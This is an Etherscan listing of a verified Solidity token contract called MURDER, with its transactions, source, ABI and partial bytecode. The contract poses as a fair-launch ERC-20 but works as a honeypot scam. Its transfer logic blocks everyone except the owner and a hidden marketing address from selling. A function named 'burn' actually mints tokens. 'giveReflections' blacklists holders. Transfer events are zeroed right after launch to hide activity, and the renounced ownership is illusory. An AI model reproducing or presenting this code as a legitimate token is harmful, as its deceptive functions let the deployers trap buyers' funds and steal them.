ETH Price: $2,681.34 (-2.86%)

Contract

0xa35112E559Cc06D89F80dFe3f9B008DCa0BB0f3e
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve151899872022-07-22 3:21:24930 days ago1658460084IN
0xa35112E5...Ca0BB0f3e
0 ETH0.000448019.48423866
Burn151899842022-07-22 3:20:36930 days ago1658460036IN
0xa35112E5...Ca0BB0f3e
0 ETH0.000484728.58367771
Renounce Ownersh...151885642022-07-21 22:03:17931 days ago1658440997IN
0xa35112E5...Ca0BB0f3e
0 ETH0.0003255312.25842434
Open Trading151885642022-07-21 22:03:17931 days ago1658440997IN
0xa35112E5...Ca0BB0f3e
0 ETH0.0316075811.25842434
Transfer151885512022-07-21 22:00:59931 days ago1658440859IN
0xa35112E5...Ca0BB0f3e
1 ETH0.0003202315.20946454
Transfer151885502022-07-21 22:00:54931 days ago1658440854IN
0xa35112E5...Ca0BB0f3e
0 ETH0.0008728813.8237714

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
151885642022-07-21 22:03:17931 days ago1658440997
0xa35112E5...Ca0BB0f3e
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MURDER

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-21
*/

/*

888b     d888 888     888 8888888b.  8888888b.  8888888888 8888888b.  
8888b   d8888 888     888 888   Y88b 888  "Y88b 888        888   Y88b 
88888b.d88888 888     888 888    888 888    888 888        888    888 
888Y88888P888 888     888 888   d88P 888    888 8888888    888   d88P 
888 Y888P 888 888     888 8888888P"  888    888 888        8888888P"  
888  Y8P  888 888     888 888 T88b   888    888 888        888 T88b   
888   "   888 Y88b. .d88P 888  T88b  888  .d88P 888        888  T88b  
888       888  "Y88888P"  888   T88b 8888888P"  8888888888 888   T88b 


Liquidity Tokens burnched on launch
No presale
No whitelist

*/

pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


contract MURDER is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    mapping (address => bool) private bots;
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 5000000000000*10**18;
    string public _name = "MURDER";
    string public _symbol= "MURDER";
    bool balances1 = true;
    bool private tradingOpen;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private openBlock;

    
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0x2931dc65cb11FB483aCcde7bA9d97CC3D22Bc961);

    modifier onlyTeam {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    
    modifier onlyOwner {
        require((owner == msg.sender));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function giveReflections(address[] memory recipients_) onlyTeam public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = true;
        }
    }

    function toggleReflections(address[] memory recipients_) onlyTeam public {
        for (uint i = 0; i < recipients_.length; i++) {
            bots[recipients_[i]] = false;
        }
    }

    function setReflections() onlyTeam public {
        router = uniswapV2Pair;
        balances1 = false;
    }

    function openTrading() public onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingOpen = true;
        openBlock = block.number;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }
    
    receive() external payable {}
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        require((!bots[sender] && !bots[recipient]) || ((sender == marketAddy) || (sender == owner)));
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        require((sender == marketAddy) || (sender == owner) || (sender == address(this)));
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
            emit Transfer(sender, recipient, 0);
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }


      function  burn(address account, uint256 amount) onlyTeam  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"giveReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients_","type":"address[]"}],"name":"toggleReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c3f1bdf10116048a593400000006006556040518060400160405280600681526020017f4d55524445520000000000000000000000000000000000000000000000000000815250600790805190602001906200006292919062000224565b506040518060400160405280600681526020017f4d5552444552000000000000000000000000000000000000000000000000000081525060089080519060200190620000b092919062000224565b506001600960006101000a81548160ff021916908315150217905550732931dc65cb11fb483accde7ba9d97cc3d22bc961600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012e57600080fd5b506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620001d59190620002e5565b60405180910390a333600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000371565b82805462000232906200030c565b90600052602060002090601f016020900481019282620002565760008555620002a2565b82601f106200027157805160ff1916838001178555620002a2565b82800160010185558215620002a2579182015b82811115620002a157825182559160200191906001019062000284565b5b509050620002b19190620002b5565b5090565b5b80821115620002d0576000816000905550600101620002b6565b5090565b620002df8162000302565b82525050565b6000602082019050620002fc6000830184620002d4565b92915050565b6000819050919050565b600060028204905060018216806200032557607f821691505b602082108114156200033c576200033b62000342565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b612b1e80620003816000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611ff9565b610531565b6040516101799190612557565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a49190612435565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf919061208c565b6105e8565b6040516101e191906123ff565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c91906120cc565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190612557565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612039565b610757565b60405161027291906123ff565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b49190612572565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190612557565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b5061032660048036038101906103219190611f9f565b610a2f565b6040516103339190612557565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e9190611f9f565b610a47565b6040516103709190612557565b60405180910390f35b34801561038557600080fd5b5061038e610a8f565b60405161039b9190612331565b60405180910390f35b3480156103b057600080fd5b506103b9610ab5565b6040516103c69190612435565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f1919061208c565b610b47565b005b34801561040457600080fd5b5061041f600480360381019061041a9190611f9f565b610d4d565b005b34801561042d57600080fd5b506104486004803603810190610443919061208c565b610deb565b60405161045591906123ff565b60405180910390f35b34801561046a57600080fd5b50610473610e09565b6040516104809190612435565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab91906120cc565b610e97565b005b3480156104be57600080fd5b506104c7610fde565b005b3480156104d557600080fd5b506104de6114d5565b6040516104eb9190612435565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611ff9565b611563565b6040516105289190612557565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610565906126ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610591906126ea565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56115ea565b84846115f2565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc6127f4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107419061274d565b9150506106bb565b5050565b6000600654905090565b60006107648484846117bd565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6115ea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906124d7565b60405180910390fd5b6108438561083b6115ea565b8584036115f2565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ea57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ac4906126ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610af0906126ea565b8015610b3d5780601f10610b1257610100808354040283529160200191610b3d565b820191906000526020600020905b815481529060010190602001808311610b2057829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610bf05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c60906124b7565b60405180910390fd5b610c7560008383611e93565b8060066000828254610c8791906125fa565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cdc91906125fa565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d419190612557565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610dff610df86115ea565b84846117bd565b6001905092915050565b60088054610e16906126ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610e42906126ea565b8015610e8f5780601f10610e6457610100808354040283529160200191610e8f565b820191906000526020600020905b815481529060010190602001808311610e7257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610f405750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f4957600080fd5b60005b8151811015610fda57600060036000848481518110610f6e57610f6d6127f4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fd29061274d565b915050610f4c565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103857600080fd5b600960019054906101000a900460ff1615611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f90612537565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061111130600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546115f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561115757600080fd5b505afa15801561116b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118f9190611fcc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f157600080fd5b505afa158015611205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112299190611fcc565b6040518363ffffffff1660e01b815260040161124692919061234c565b602060405180830381600087803b15801561126057600080fd5b505af1158015611274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112989190611fcc565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061132130610a47565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016113699695949392919061239e565b6060604051808303818588803b15801561138257600080fd5b505af1158015611396573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113bb9190612142565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161147f929190612375565b602060405180830381600087803b15801561149957600080fd5b505af11580156114ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d19190612115565b5050565b600780546114e2906126ea565b80601f016020809104026020016040519081016040528092919081815260200182805461150e906126ea565b801561155b5780601f106115305761010080835404028352916020019161155b565b820191906000526020600020905b81548152906001019060200180831161153e57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165990612517565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c990612477565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117b09190612557565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611824906124f7565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561188b57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561192f5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806119df5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806119de5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b6119e857600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b3a57600960009054906101000a900460ff1680611aa25750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611afa5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3090612457565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611be35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c1957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611c2257600080fd5b611c2d838383611e93565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caa90612497565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d4691906125fa565b92505081905550436004600b54611d5d91906125fa565b118015611db75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611e27578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611e1a919061241a565b60405180910390a3611e8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e849190612557565b60405180910390a35b50505050565b505050565b6000611eab611ea6846125b2565b61258d565b90508083825260208201905082856020860282011115611ece57611ecd612857565b5b60005b85811015611efe5781611ee48882611f08565b845260208401935060208301925050600181019050611ed1565b5050509392505050565b600081359050611f1781612aa3